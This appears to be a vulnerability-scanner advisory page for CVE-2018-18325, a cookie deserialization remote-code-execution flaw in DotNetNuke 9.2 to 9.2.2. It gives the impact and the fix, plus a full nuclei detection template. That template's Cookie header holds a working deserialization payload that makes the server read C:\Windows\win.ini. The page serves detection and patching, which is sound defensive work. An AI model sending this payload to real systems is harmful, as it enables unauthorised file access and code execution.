DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

7.5CVSS score

74%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

DNN (DotNetNuke) versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.

Impact

Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.

Fix

Update to DotNetNuke version 9.3.0 or later which fully addresses the weak encryption issues.

How to confirm it

Send: GET /__
Positive when: contains "[extensions]" and "for 16-bit app support" AND status 404

Run it with nuclei: nuclei -id CVE-2018-18325 -u <target>

The full check

id: CVE-2018-18325

info:
  name: DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization
  author: pdteam
  severity: high
  description: |
    DNN (DotNetNuke) versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
  impact: |
    Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.
  remediation: |
    Update to DotNetNuke version 9.3.0 or later which fully addresses the weak encryption issues.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18325
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15811
    - https://github.com/dnnsoftware/Dnn.Platform/releases
    - http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18325
    cwe-id: CWE-326
    epss-score: 0.74048
    epss-percentile: 0.99485
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
    verified: true
  tags: cve,cve2018,dotnetnuke,crypto,deserialization,rce,kev,dnnsoftware,vkev,vuln

http:
  - raw:
      - |
        GET /__ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[extensions]'
          - 'for 16-bit app support'
        condition: and

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from